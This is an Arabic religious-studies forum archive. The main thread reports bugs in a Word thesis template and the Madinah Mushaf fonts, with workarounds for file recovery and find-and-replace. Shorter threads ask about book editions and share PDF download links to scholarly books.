بما أن الكمال لله وحده, وأن عمل الإنسان لا يخلو من بعض العيوب، فإني أودّ لفت انتباه إخواني الأعزّاء إلى أشياء مهمة في "القالب 9"، ومصحف المدينة النبوية؛ وذلك للمساهمة في ترقية هذا العمل الرائع، الذي يعين المبتدئين كثيراً، ويستفيد منه المتقدمون كذلك.< o:p></o:p>
ولا أريد أن أكون مثل الذين إذا رأوا إيجابيا سكتوا، وإن رأوا سلبيا طعنوا في البرنامج وهجروه، وإنما بالملاحظات ترتقي البرامج بإذن الله عزّ وجلّ.< o:p></o:p>
<o:p> </o:p>
الملاحظات:< o:p></o:p>
1- في الإصدار التاسع عند استخدام الرموز مثل (رحمه الله، ورضي الله عنها، ... )، فإنك لو نسخت البيانات إلى ملف آخر، انقلب رمز (رحمه الله، إلى \) ورضي الله عنها، إلى ك) .. وكذا لو غيّرت في خطوط المستند، إلى نوع آخر من الخطوط ... < o:p></o:p>
الخلاصة أن كل هذه الألفاظ تتحوّل إلى أشياء أخرى غير مقصودة. < o:p></o:p>
<o:p> </o:p>
علماً بأنه أحيانا يترك لك الخيار بين "تنسيق الوجهة"، وبين "تنسيق المصدر"، ففي الأول تتحول الرموز، وفي الثاني تبقى على حالها، ولكن ذلك قليل، وإن تنسيق الوجهة مهمّ ... < o:p></o:p>
2- عند نسخ كلمات وإدخالها في "النص التلقائي"، بعد قليل ينطفئ الجهاز، ويتكرّر ذلك كثيراً، حتى يصبح ينطفئ بعد كل عشر دقائق تقريبا. وبدون نسخ النص إلى "النص التلقائي" ونحوه، لا يفعل ذلك، مهما طال العمل. ولعل الخلل في بعض أوامر هذه الطبقة (والإجراءات).< o:p></o:p>
3- أحيانا عند طلب الحفظ يفعل "وورد" شيئاً عجيباً، هو أنه يأكل الملف كاملا، ويحذفه إلى الأبد، وقد حصل لي ذلك أكثر من خمس مرّاتٍ.< o:p></o:p>
<o:p> </o:p>
كيف استطعت –بإذن الله- استرداد الملفات المحذوفة؟! < o:p></o:p>
دخلت في "خيارات المجلد"، (الموجود في "لوحة التحكم"). ومن تبويب "عرض" اخترت "إظهار الملفات المخفية"، ثم "موافق".< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/339)
ثم اتجهت إلى المجلد الذي كنت أحفظ فيه الملفات التي حذفها "وورد"، فوجدت ملفات كثيرة، من ملفات الاسترداد، التي لا تظهر إلا في وضع "إظهار الملفات المخفية"، ووجدت ملفا باسم الملف المحذوف، ولكنه لم يقبل الفتح ... عملت استقراءً لجميع هذه الملفات (أي: فتحتها)، حتى وصلت إلى آخر ما حفظه "وورد" قبل الحذف، فنسخت مضمونه إلى ملف جديد، وهكذا .. < o:p></o:p>
هي ملفات لا أسماء لها، وإنما كلها أرقام.< o:p></o:p>
<o:p> </o:p>
اختصاراً للوقت، كنت أجعل الفأرة على الملف ولا أفتحه، فإن ظهر الحجم كبيراً، فتحته، وإلا تركته إلى ملف آخر، حتى وصلت إلى أكبرها حجماً فعلمت أنه آخر ما حفظه "وورد"؛ لكونه أكبر حجما ... وهكذا.< o:p></o:p>
<o:p> </o:p>
أحياناً، لا يقبل بعض ملفات الاسترداد أن ينفتح، فإن حصل ذلك، فأعد تشغيل الجهاز، ثم حاول مرة أخرى، يقبل الفتح إن شاء الله.< o:p></o:p>
ويمكنك حذف كل ملفات الاسترداد القديمة لتقليل عددها؛ لاكتساب الوقت؛ كأن تحذف كل ملف تم نقل أصله إلى مجلد آخر، أو تحذف ما مضى عليه ثلاثة أيام، أو ما تم تحريره تماما ولست بحاجة إلى التعديل فيه ... < o:p></o:p>
<o:p> </o:p>
الحل لتفادي أكل برنامج "وورد" ملفاتك:< o:p></o:p>
الحمد لله على نعمه، قد هداني الله إلى الحلّ الأمثل، وهو سهل جدّاً، خلاصته ما يلي:< o:p></o:p>
<o:p> </o:p>
قم بما تشاء من مما سبق ذكره، ومما لم يتقدم ذكره، ولكن احفظ عملك فوراً بعد أول تغيير تقوم به، ولا تتأخر. وبعد توقف "وورد" عن العمل، أغلقه ثم افتحه من جديد، سيأتيك الله بالملف المسترَدّ في الجهة اليمنى مكتوباً تحته -باللون الأحمر-: تمّ إصلاحه.< o:p></o:p>
انقر على هذا الملف الذي قام "وورد" بإصلاحه، واحفظه باسم الملف الأصل، تكون من الآمنين -بإذن الله عزّ وجل- عن توقف "وورد"، بل لا يتوقف بعد هذا إن شاء الله.< o:p></o:p>
<o:p> </o:p>
أحياناً، قد يتكرّر توقفه عن العمل، ولكن احرص دائما على أن تحفظ الملف الذي تم إصلاحه من قِبَل "وورد". بعد قليل يكون العمل عاديّاً، ولا يتوقف أيضاً إن شاء الله.< o:p></o:p>
قد جرّبته مراراً ونجح معي 100%100؛ لأني معجب بهذا الإصدار9، ولا أخاف المشاكل بإذن الله، بل أحاول التغلّب عليها.< o:p></o:p>
فلست من هؤلاء الذين يهجرون منتجات بلادهم وإخوانهم المسلمين لعيوب قليلة فيها، إلى منتجاة غيرهم.< o:p></o:p>
وأومن بأن بالملاحظات يرتقي العمل، ولم يتقدّم أحد إلا بعد جمع الأخطاء والتغلّب عليها ... < o:p></o:p>
بالنسبة لنسخ النص التلقائي فواجب –في الغالب- أنه سيقفل عليك "وورد" بعد أول تغيير، وكذلك إذا دخلت في مربع حوار "تخصيص"، للتعامل مع القوائم.< o:p></o:p>
مثلا، من قائمة "أدوات"، اختر "تخصيص"، ومن تبويب "الأوامر"، اضغط على أي شيء شئت وأضفه في شريط الأدوات التي فيها ملف، وتحرير، أو قف به على أي قائمة شئت، سينفتح بإذن الله، وارم به في المكان الذي تراه مناسباً. < o:p></o:p>
بعد هذا العمل انتظر أن "وورد" سيقف عن العمل إن شاء الله.< o:p></o:p>
<o:p> </o:p>
* * * * * * * * * *<o:p></o:p>
<o:p> </o:p>
الحل للتغلّب على تغيّر رموز الدعاء (رضي الله عنها)، ونحوه< o:p></o:p>
الحمد لله على آلائه ونعمه. قد هداني الله إلى حل مشكلة تغير الرموز في قالب البحوث والرسائل 9، وهو كما يلي:< o:p></o:p>
إذا أردت نسخ محتويات الملف الذي عملت عليه، وإضافتَها إلى ملف آخر، دون تغيّر رموز (رحمه الله، و رضي الله عنها، و رضي الله عنهما)، فاتبع ما يلي:< o:p></o:p>
1- احفظ الملف الذي استخدمت فيه الرموز في مكان يسهل الوصول إليه (كسطح المكتب، أو المستندات).< o:p></o:p>
2- افتح الملف الذي تريد ضم محتويات هذا الملف الجديد إليه.< o:p></o:p>
3- انقر بز الفأرة في الموضع الذي تريد نسخ محتويات الملف إليه.< o:p></o:p>
4- ادخل في قائمة "إدراج"، واختر "ملف"، ويعني ذلك: إدراج ملف، سيفتح لك الوورد -بإذن الله- صندوق البحث عن الملفات. < o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/340)
5 - انظر في الجهة اليسرى من صندوق البحث تجد -بإذن الله- رموز مهمة: مثل: سطح المكتب، ورمز جهاز الكومبيوتر، ورمز المستندات، وغيرها ... انقر على رمز سطح المكتب إذا كان الملف على سطح المكتب، وانقر على رمز جهاز الكومبيوتر إذا كان الملف في الأقراص الصلبة، مثل: سي، ودي، وإي، ثم افتح القرص الذي فيه الملف المراد، وتابع فتح المجلدات حتى تصل إلى المكان المراد، ثم< o:p></o:p>
6- انقر على الملف نقرة واحدة فقط.< o:p></o:p>
7- انظر في الأسفل من الجهة اليمنى، تجد –بإذن الله- زِراً مكتوباً عليه "فتح"، انقر عليه ليتم –بإذن الله- ضم الملف الذي عملت فيه، إلى هذا المستند؛ واحمد الله على آلائه عليك، وادع لصاحب البرنامج (الأستاذ سعد بن عبدالله الواصل –وفقه الله-)، ولا تنسَني عند الدعاء له. واللهَ أسأل أن يجعل عملنا خالصا لوجهه الكريم.< o:p></o:p>
<o:p> </o:p>
الحل المقترح لضمان عدم تغيّر الرموز وخطوط مصحف المدينة النبوية< o:p></o:p>
<o:p> </o:p>
للتغلّب على تغيّر رموز الدعاء (رضي الله عنها) ونحوه، إلى رموز غير مقصودة:< o:p></o:p>
بعد ملاحظةٍ دقيقةٍ، ألهمني الله شيئاً أذكره لصاحب البرنامج ومن في حكمه من المبرمجين، عسى الله أن يأتينا بفتح عظيم، وهو كما يلي:< o:p></o:p>
1- رأيت الآيات المنسوخة من مصحف المدينة تتغيّر إلى رموز بمجرد إجراء تغيير على خطوط المستند.< o:p></o:p>
وقد يحتاج الباحث أحيانا إلى تظليل البحث كاملاً، وتغيير نوع الخط من النوع الذي بدأ به البحث إلى نوع آخر ... < o:p></o:p>
2- عند استخدام الرموز مثل (رحمه الله، ورضي الله عنها، ... )، فإنك لو نسخت البيانات إلى ملف آخر، انقلب رمز (رحمه الله إلى \) ورضي الله عنها إلى ك) .. كما سبق.< o:p></o:p>
وكذا لو غيّرت في خطوط المستند، .... < o:p></o:p>
<o:p> </o:p>
الحل المقترَح بإذن الله عزّ وجل- هو:< o:p></o:p>
تصميم خطوط المصحف وكذلك الرموز، وإيتاؤها أمراً يحرّم عليها تغيير نوع الخط، ما عدا تغيير الحجم فقط، فلا بأس بذلك؛ أو إيتاؤه أمراً لا يتغيّر به الآيات والرموز مهما تغيرت الخطوط.< o:p></o:p>
فإني قد تأملت في رموز برنامج "وورد" الافتراضية فوجدتها لا يتغير خطها مهما حاولت تغيير الخطوط، بل هي ثابتة على كل حال، ولا يتغيّر منها إلا الحجم.< o:p></o:p>
نعم قد تتغير خطوطها إلى أنواع لا تضر بها مثل: Aga، ولكن لو حاولت أن تجعله Traditional Arabic، لم يقبل، لأن ذلك قد يؤدّي إلى فقده بعض خصائصه ... وهكذا.< o:p></o:p>
<o:p> </o:p>
وهذا سرّ عظيم قد هداني الله إليه. < o:p></o:p>
لو أخذتم ذلك في الاعتبار لتغلّبتم –أيها الأساتذة الفضلاء- على مشاكل الرموز، ومشاكل خطوط المصحف بإذن الله عزّ وجل.< o:p></o:p>
هذا، والله تعالى أعلم. وصلّى الله وسلّم على رسوله محمد وعلى آله وصحبه والتابعين.< o:p></o:p>
وآخر دعوانا أن الحمد لله ربّ العالمين.< o:p></o:p>
<o:p> </o:p><!--[if !supportLineBreakNewLine]--><!--[endif]--><o:p></o:p>
تفضّلو بتحميل البرنامج القالب 9 مع التعديل اليسير الذي قمت به على محتويات المجلد، مع مصحف المدينة< o:p></o:p>
<o:p> </o:p> من على هذا الرابط:
http://www.zshare.net/download/197366801fa18bf7/<o:p></o:p>
<o:p> </o:p>
طالبكم وأخوكم في الله< o:p></o:p>
<o:p></o:p>
ـ[أبو عبد الله الغيني]ــــــــ[07 - 11 - 08, 12:16 ص]ـ
بسم الله الرحمن الرحيم
الحمد لله، والصلاة والسلام على رسول الله
أما بعد:
فلعل هذه التنبيهات اختفت قبل اطلاع كثير من الناس عليها؛ نظراً لانشغال الناس بأمور العيد؛ فهاهي تارة أخرى.
ـ[عبدالله العلي]ــــــــ[07 - 11 - 08, 08:56 ص]ـ
لم أستطع التحميل، فهل من رابط آخر؟
ـ[راشد بن عبد الرحمن البداح]ــــــــ[07 - 11 - 08, 12:42 م]ـ
أبا عبد الله:
أشكرك على بذل ونشر إبداعات الشيخ سعد الواصل، الذي طالما استفدتُ منه
ولكن:
الرابط لا يشتغل!!!
ـ[أبو عبد الله الغيني]ــــــــ[07 - 11 - 08, 06:54 م]ـ
بسم الله الرحمن الرحيم
الحمد لله، والصلاة والسلام على رسول الله
أما بعد:
فجزاكم الله خيراً على هذا التنبيه:
الرابط لا يشتغل!!! وإليكم رابط آخر
http://www.4shared.com/file/70144296/d1a4a34c/Calab_9.html
والله أسأل لنا ولكم التوفيق
ـ[أبو عبد الله الغيني]ــــــــ[08 - 11 - 08, 10:50 م]ـ
بسم الله الرحمن الرحيم
وهذا رابط آخر، من موقع "عرب شير"،
http://arabsh.com/2k5gtwt312ow.html
الظاهر أنه لا يدعم كثيرًا من برامج التحميل؛ فإن لم يقبل النزول معك، فأوقف برامج التحميل قبل العمل.
والله الموفق والهادي إلى الصراط المستقيم
ـ[زايد بن عيدروس الخليفي]ــــــــ[16 - 12 - 08, 01:27 م]ـ
لأي نسخة يعمل هذا القالب المحدث ... 2003 أو 2007؟
ـ[أبو عبد الله الغيني]ــــــــ[16 - 12 - 08, 05:44 م]ـ
بسم الله الرحمن الرحيم
لأي نسخة يعمل هذا القالب المحدث ... 2003 أو 2007؟
المرفوع هنا هو القالب9 بنوعيه: وورد 2003، و2007؛ ولكل منهما قالب خاص، تجده في المجلد المرفوع إن شاء الله.
ولكني لا أستخدم وورد 2007؛ وإنما أعمل على وورد 2003.
(يُتْبَع .. اقلب الصفحة)
(61/341)
ـ[إسماعيل سعد]ــــــــ[14 - 04 - 09, 07:05 م]ـ
بارك الله فيك جهد مشكور
ـ[ريم بنت عبدالعزيز]ــــــــ[14 - 01 - 10, 01:25 م]ـ
<? xml:namespace prefix = o /><o:p></o:p>
الحل المقترح لضمان عدم تغيّر الرموز وخطوط مصحف المدينة النبوية< o:p></o:p>
<o:p></o:p>
للتغلّب على تغيّر رموز الدعاء (رضي الله عنها) ونحوه، إلى رموز غير مقصودة:< o:p></o:p>
بعد ملاحظةٍ دقيقةٍ، ألهمني الله شيئاً أذكره لصاحب البرنامج ومن في حكمه من المبرمجين، عسى الله أن يأتينا بفتح عظيم، وهو كما يلي:< o:p></o:p>
1- رأيت الآيات المنسوخة من مصحف المدينة تتغيّر إلى رموز بمجرد إجراء تغيير على خطوط المستند.< o:p></o:p>
وقد يحتاج الباحث أحيانا إلى تظليل البحث كاملاً، وتغيير نوع الخط من النوع الذي بدأ به البحث إلى نوع آخر ... < o:p></o:p>
2- عند استخدام الرموز مثل (رحمه الله، ورضي الله عنها، ... )، فإنك لو نسخت البيانات إلى ملف آخر، انقلب رمز (رحمه الله إلى \) ورضي الله عنها إلى ك) .. كما سبق.< o:p></o:p>
وكذا لو غيّرت في خطوط المستند، .... < o:p></o:p>
<o:p></o:p>
الحل المقترَح بإذن الله عزّ وجل- هو:< o:p></o:p>
تصميم خطوط المصحف وكذلك الرموز، وإيتاؤها أمراً يحرّم عليها تغيير نوع الخط، ما عدا تغيير الحجم فقط، فلا بأس بذلك؛ أو إيتاؤه أمراً لا يتغيّر به الآيات والرموز مهما تغيرت الخطوط.< o:p></o:p>
فإني قد تأملت في رموز برنامج "وورد" الافتراضية فوجدتها لا يتغير خطها مهما حاولت تغيير الخطوط، بل هي ثابتة على كل حال، ولا يتغيّر منها إلا الحجم.< o:p></o:p>
نعم قد تتغير خطوطها إلى أنواع لا تضر بها مثل: Aga، ولكن لو حاولت أن تجعله Traditional Arabic، لم يقبل، لأن ذلك قد يؤدّي إلى فقده بعض خصائصه ... وهكذا.< o:p></o:p>
<o:p></o:p>
وهذا سرّ عظيم قد هداني الله إليه. < o:p></o:p>
لو أخذتم ذلك في الاعتبار لتغلّبتم –أيها الأساتذة الفضلاء- على مشاكل الرموز، ومشاكل خطوط المصحف بإذن الله عزّ وجل.< o:p></o:p>
هذا، والله تعالى أعلم. وصلّى الله وسلّم على رسوله محمد وعلى آله وصحبه والتابعين.< o:p></o:p>
<o:p></o:p>
أخي الكريم حصلت لي هذه المشكلة (وهي تغير ألفاظ الدعاء) مع وورد 2007 كيف يمكنني التغلب عليها؟
ولكم جزيل الشكر
ـ[أبو أحمد العجمي]ــــــــ[14 - 01 - 10, 11:54 م]ـ
للإحاطة قد وصل القالب إلى الإضدار 12
ـ[أبو عبد الله الغيني]ــــــــ[15 - 01 - 10, 10:31 م]ـ
بسم الله الرحمن الرحيم
أخي الكريم حصلت لي هذه المشكلة (وهي تغير ألفاظ الدعاء) مع وورد 2007 كيف يمكنني التغلب عليها؟
ولكم جزيل الشكر
لم أجد لهذه المشكلة حلا؛ من أجل ذلك هذه الألفاظ غير موجودة -حسب علمي- في الإصدار 12؛ لأنه كما قلتُ يحتاج إلى برمجة الرموز وإيتائها أمرًا يمنع تغير نوع خطها مهما تغيرت خطوط المستند، كما في رموز "وورد" الأصلية؛ فهي لا تتغير إلا إلى خطوط لا تضر الرموز مثل " Aga" ...
وهذا يحتاج من خبراء البرمجة النظر في هذا الأمر، وكذلك خوط مصحف المدينة ... فهل لها من مبرمج؟؟
أسأل الله أن يجعل عملنا خالصا لوجهه.
هناك حل لكن بالمحاولة:
1 - أن تستبدل هذه الرموز في "بحث واستبدال" بألفاظ الدعاء المكتوبة، أو بـ لا شيء، أي لا تكتب شيئا في الخانة الثانية "استبدال بـ" وذلك ليقوم "وورد" بحذفها فقط
ولكن بشرط أن لا يكون في بحثك / ولا ك مفردة
2 - هناك حل أمثل:
إذا كان في بحثك مثلا أخرجه الإمام مسلم في "الصحيح"، (1/ 205)، فاتبع ما يلي:
أولا- أدخل بحثك في الشامة، واعمل في التعبيرات القياسية على النحو التالي:
استبدل كل علامة / توجد بعد علامة (بعدها مسافة أو لا، بعده رقم أو أكثر .... ) استبدلها بالنجمة
ثم باقي العلامات التي لا تتوفر فيها هذه الشروط استبدلها بألفاظ الدعاء المكتوبة في الشاملة أو في الوورد. ثم عد بعد ذلك واستبدل النجمة ب / في البحث والاستبدال
أما (رضي الله عنها) الذي يكون ك، فانظر هل قبله مسافة وبعده مسافة؟ فإن كان كذلك فالأمر فيه سهل .. اذخل في البحث والاستبدال، وانقر في الخانة الأولى ثم اضرب على مفتاح المسافة مرة واحدة، ثم اكتب ك، ثم اضرب على لوحة المسافة مرة أخرى
واكتب في الخانة الثانية لفظ الدعاء الذي يقابله ... فسينجح معك إن شاء الله. وأنا شبه متأكد في ذلك.
ادخل في "بحث واستبدال"، واكتب / (الذي هو رمز رحمه الله) في الخانة الأولى و
ـ[ريم بنت عبدالعزيز]ــــــــ[18 - 01 - 10, 08:05 م]ـ
أحسن الله إليك أخي الكريم
ـ[ابن عبد السلام الجزائري]ــــــــ[27 - 10 - 10, 03:41 م]ـ
للرفع(61/342)
هل عند أحد من الإخوة - حفظهم الله - معلومات عن كتاب بحر الدموع لابن الجوزي؟
ـ[معتز]ــــــــ[01 - 10 - 08, 04:20 م]ـ
سلام عليكم
هل عند أحد من الإخوة معلومات عن كتاب (بحر الدموع) لابن الجوزي؟
عندي نسخة مكتوب عليها:
تحقيق: جمال محمود مصطفى
فهل حقق الكتاب غير هذا المحقق؟
وجزاكم الله خيرًا.
ـ[محمد أبو سعد]ــــــــ[01 - 10 - 08, 04:59 م]ـ
نعم يا أخي بارك الله فيك، حققه أيضا الأستاذ إبراهيم باجس عبد المجيد، باحث بمركز الملك فيصل للبحوث بالرياض، وهو مطبوع بدار ابن حزم، بيروت.
ـ[أبويعلى البيضاوي]ــــــــ[03 - 10 - 08, 09:06 ص]ـ
وطبع ايضا في: دار الصحابة للتراث المحقق: قسم التحقيق بدار الصحابة للتراثالطبعة: الأولى، 1412 هـ / 1992 وعندي هذه الطبعة مصورة بدف فان كنت ترغب فيها رفعتها لك
وطبع ايضا في المكتبة التوفيقيةمصر 1999 بتحقيق عماد البارودي
ـ[أبويعلى البيضاوي]ــــــــ[03 - 10 - 08, 09:12 ص]ـ
وطبع ايضا في: دار الصحابة للتراث المحقق: قسم التحقيق بدار الصحابة للتراثالطبعة: الأولى، 1412 هـ / 1992 وعندي هذه الطبعة مصورة بدف فان كنت ترغب فيها رفعتها لك
وطبع ايضا في المكتبة التوفيقيةمصر 1999 بتحقيق عماد البارودي
ـ[مكتب زهير الشاويش]ــــــــ[03 - 10 - 08, 12:28 م]ـ
وأيضا طبع في مؤسسة الرسالة بتحقيق ابراهيم باجس عبد المجيد. وكذلك طبعته المكتبة العصرية(61/343)
لموثقي البيوت: بيت ابن المقرب العيوني
ـ[أبو العباس السوسي]ــــــــ[01 - 10 - 08, 07:37 م]ـ
من فضلكم من يوثق لي هذا البيت لابن المقرب العيوني، وقد وثقته من ديوانه الصادر في بومبي سنة 1310 هـ، وهو:
وما المَرءُ إلا عَقلُهُ وَلِسانُهُ * إِذا قالَ لا أَبرادُهُ وَغَلائِلُه
ويوجد "ديوان ابن المقرب العيوني وشرحه"، الصادر عن منشورات البابطين في الكويت بتحقيق: د. أحمد موسى الخطيب، سنة 2002، فمن يوثقه منه جزاه الله خيرا كثيرا.(61/344)
حمل هدية العيد: أحكام الآذان والنداء والإقامة ... pdf
ـ[أبو عقيل]ــــــــ[01 - 10 - 08, 10:16 م]ـ
بسم الله الرحمن الرحيم
عنوان الكتاب: أحكام الآذان والنداء والإقامة - دراسة فقهية مقارنة
المؤلف: سامي بن فراج الحازمي
دار النشر: دار ابن الجوزي للنشر والتوزيع - المملكة العربية السعودية.
رقم الطبعة: الطبعة الأولى- 1425هـ
عدد المجلدات: 1
عدد الصفحات: 534
حجم الملف: 12.43 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Athan_93
الرابط المباشر:
http://ia310810.us.archive.org/3/ite...n_93/Athan.pdf (http://ia310810.us.archive.org/3/items/Athan_93/Athan.pdf)
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وزدنا علما وإيمانا
ـ[بن سالم]ــــــــ[01 - 10 - 08, 11:02 م]ـ
... ونِعمَ الهَدِيَّة ..
وجزاكَ اللهُ خيراً ونفعَ بكَ.
ـ[أبو عقيل]ــــــــ[03 - 10 - 08, 02:59 م]ـ
شكر الله لك
والكتاب رسالة جامعية وهي جامعة لكثير من مسائل الأذان والإقامة، وارجو أن لا يفرط الإخوة في الاستفادة منها
وبخاصة أطول الناس أعناقا يوم القيامة (المؤذنين).(61/345)
مجموعتي من الكتب المصورة ... pdf
ـ[أبو عقيل]ــــــــ[02 - 10 - 08, 12:12 ص]ـ
بسم الله الرحمن الرحيم
الحمد لله حمدا لا ينفد، أفضل ما ينبغي أن يحمد، وصل اللهم وسلم على النبي محمد، وعلى آله وصحبه ومن تعبد ... أما بعد:
فهذه مجموعتي من الكتب المصورة أعيد رفعها لمن فاته تحميلها، مع رجائي الدائم
من الإخوة الدعاء الصالح لي بظهر الغيب.
الكتاب الأول:
أحكام الجنائز
المؤلف: محمد ناصر الدين الألباني.
دار النشر: مكتبة المعارف - الرياض، المملكة العربية السعودية.
رقم الطبعة: الطبعة الأولى- 1412هـ/1992م.
عدد المجلدات: 1
عدد الصفحات: 351
حجم الملف: 8.49 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Ahkam-Djanaize
الرابط المباشر:
http://ia311208.us.archive.org/0/ite...e/Djanaize.pdf (http://ia311208.us.archive.org/0/items/Ahkam-Djanaize/Djanaize.pdf)
الكتاب الثاني:
تحريم آلات الطرب
المؤلف: محمد ناصر الدين الألباني
دار النشر: مكتبة الدليل
رقم الطبعة: الطبعة الثانية- 1418هـ/1997م
عدد المجلدات: 1
عدد الصفحات: 216
حجم الملف: 5.44 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Tahrim-Alet-Tarab
الرابط المباشر:
http://ia311236.us.archive.org/2/ite...Alet-Tarab.pdf (http://ia311236.us.archive.org/2/items/Tahrim-Alet-Tarab/Alet-Tarab.pdf)
الكتاب الثالث:
الرد المفحم على من خالف العلماء وتشدد وتعصب وألزم المرأة أن تستر وجهها وكفيها وأوجب ولم يقنع بقولهم: إنه سنة ومستحب.
المؤلف: محمد ناصر الدين الألباني.
دار النشر: المكتبة الإسلامية - عمان، الأردن.
رقم الطبعة: الطبعة الأولى- 1421هـ
عدد المجلدات: 1
عدد الصفحات: 184
حجم الملف: 3.95 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Rad-MoF7ime
الرابط المباشر:
http://ia311226.us.archive.org/1/ite...ad-MoF7ime.pdf (http://ia311226.us.archive.org/1/items/Rad-MoF7ime/Rad-MoF7ime.pdf)
الكتاب الرابع:
أحكام الآذان والنداء والإقامة - دراسة فقهية مقارنة
المؤلف: سامي بن فراج الحازمي
دار النشر: دار ابن الجوزي للنشر والتوزيع - المملكة العربية السعودية.
رقم الطبعة: الطبعة الأولى- 1425هـ
عدد المجلدات: 1
عدد الصفحات: 534
حجم الملف: 12.43 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Athan_93
الرابط المباشر:
http://ia310810.us.archive.org/3/ite...n_93/Athan.pdf (http://ia310810.us.archive.org/3/items/Athan_93/Athan.pdf)
الكتاب الخامس:
موقف ابن حزم من المذهب الأشعري كما في كتابه الفصل في الملل والنحل
المؤلف: عبد الرحمن بن محمد سعيد دمشقية
دار النشر: دار الصميعي للنشر والتوزيع - المملكة العربية السعودية
رقم الطبعة: الطبعة الأولى- 1418هـ/1997م
عدد المجلدات: 1
عدد الصفحات: 127
حجم الملف: 2.88 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Ibn-Hazm-Asha3irah
الرابط المباشر:
http://ia311233.us.archive.org/2/ite.../Asha3irah.pdf (http://ia311233.us.archive.org/2/items/Ibn-Hazm-Asha3irah/Asha3irah.pdf)
الكتاب السادس:
هيئة الناسك في أن القبض في الصلاة هو مذهب الإمام مالك
المؤلف: محمد المكي بن عزوز.
المحقق: نفل بن مطلق الحارثي.
دار النشر: دار طيبة للنشر والتوزيع - المملكة العربية السعودية
رقم الطبعة: الطبعة الأولى- 1417هـ/1996م
عدد المجلدات: 1
عدد الصفحات: 208
حجم الملف: 3.73 Mo
رابط صفحة التحميل:
http://www.archive.org/details/Hayaa-Nassike
الرابط المباشر:
http://ia311217.us.archive.org/3/ite...yaa-Nassik.pdf (http://ia311217.us.archive.org/3/items/Hayaa-Nassike/Hayaa-Nassik.pdf)
الكتاب السابع:
تحفة الأحباب وطرائق الأصحاب على ملحة الإعراب وسنحة الآداب
المؤلف: محمد بن محمد عمر بحرق الحضرمي
دار النشر: دار الفكر - بيروت
رقم الطبعة: الطبعة الأولى- 1416هـ/1996م
عدد المجلدات: 1
عدد الصفحات: 56
حجم الملف: 5.61 Mo
رابط التحميل:
http://www.archive.org/download/Tou7fatAhbeb/Tou7fa.pdf
الكتاب الثامن:
علم تخريج الأحاديث (أصوله. طرائقه. مناهجه)
- المؤلف: محمد محمود بكار
- دار النشر: دار طيبة للنشر والتوزيع
- رقم الطبعة: الثالثة 1418 هـ- 1997 م
- عدد المجلدات: 1
- عدد الصفحات: 224
- حجم الملف: 4.39 Mo
- رابط التحميل:
http://ia341225.us.archive.org/0/ite...ij-Ahadith.pdf (http://ia341225.us.archive.org/0/items/Takhrij-Ahadith/Takhrij-Ahadith.pdf)
الكتاب التاسع:
فتح المعبود بصحة تقديم الركبتين قبل اليدين في السجود
المؤلف: فريح بن صالح البهلال
دار النشر: دار العاصمة - الرياض
الطبعة: الأولى 1410 هـ
حجم الملف: 445 ko
رابط التحميل:
http://ia341243.us.archive.org/1/ite...th-ma3boud.pdf (http://ia341243.us.archive.org/1/items/fath-ma3boud/fath-ma3boud.pdf)
الكتاب العاشر:
معنى الإيمان والإسلام أو الفرق بين الإيمان والإسلام
- المؤلف: العز بن عبد السلام السلمي
- المحقق: إياد خالد الطباع
- دار النشر: دار الفكر - الجزائر
- حجم الملف: 643 ko
رابط التحميل:
http://ia350639.us.archive.org/1/ite...iman-islam.pdf (http://ia350639.us.archive.org/1/items/httpwww.archive.org_585/iman-islam.pdf)
نفعكم الله بها وزادكم علما وإيمانا
<! -- / message -->
(يُتْبَع .. اقلب الصفحة)
(61/346)
ـ[أحمد محمد بسيوني]ــــــــ[02 - 10 - 08, 02:36 ص]ـ
جزاكم الله خيرا
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[02 - 10 - 08, 02:40 ص]ـ
بارك الله فيك وجزاك الله خيرًا
ـ[حرملة بن عبد الله]ــــــــ[02 - 10 - 08, 04:13 ص]ـ
الكتاب الثامن:
علم تخريج الأحاديث (أصوله. طرائقه. مناهجه)
- المؤلف: محمد محمود بكار
- دار النشر: دار طيبة للنشر والتوزيع
- رقم الطبعة: الثالثة 1418 هـ- 1997 م
- عدد المجلدات: 1
- عدد الصفحات: 224
- حجم الملف: 4.39 Mo
- رابط التحميل:
http://ia341225.us.archive.org/0/ite...ij-Ahadith.pdf
........
هذا الرابط معطوب ربما لتقادم الزمن عليه، فهل لك أن تحييَه ثانيةً ليكون شكر الشاكرين إليك موصولاً؟
ـ[أبو عقيل]ــــــــ[02 - 10 - 08, 12:53 م]ـ
بارك الله فيكم، وهذا ما طلبت:
الكتاب الثامن:
علم تخريج الأحاديث (أصوله. طرائقه. مناهجه)
- المؤلف: محمد محمود بكار
- دار النشر: دار طيبة للنشر والتوزيع
- رقم الطبعة: الثالثة 1418 هـ- 1997 م
- عدد المجلدات: 1
- عدد الصفحات: 224
- حجم الملف: 4.39 Mo
- رابط صفحة التحميل:
http://www.archive.org/details/Takhrij-Ahadith
الرابط المباشر:
http://ia341224.us.archive.org/0/items/Takhrij-Ahadith/Takhrij-Ahadith.pdf
ـ[أحمد محمد بسيوني]ــــــــ[02 - 10 - 08, 01:35 م]ـ
http://www.archive.org/download/Takhrij-Ahadith/Takhrij-Ahadith.pdf
لعل هذا الرابط هو السليم لكتاب علم تخريج الأحاديث
وجزى الله الأستاذ " أبو عقيل " صاحب الموضوع خير الجزاء
ـ[أحمد محمد بسيوني]ــــــــ[02 - 10 - 08, 02:30 م]ـ
عفوا لم أر ردكم الأخير، لذا تجشمت؛ طلبا للأجر.
وعذرا أستاذنا الفاضل.
ـ[أبو عقيل]ــــــــ[02 - 10 - 08, 04:17 م]ـ
جزاك الله خيرا أخي الفاضل أحمد محمد بسيوني.
ولا داعي للاعتذار فنحن في ساحات البر والخيرات، الكل يشارك والكل يسابق، والجزاء من رب الأرض والسماوات.
فاللهم اقبل أعمالنا واجعلها خالصة لوجهك الكريم، وزحزح بها أجسادنا عن نار جهنم يوم نلقاك ... يارب.
ـ[أبو عقيل]ــــــــ[03 - 10 - 08, 03:01 م]ـ
للفائدة ...........
ـ[أحمد محمد بسيوني]ــــــــ[03 - 10 - 08, 03:23 م]ـ
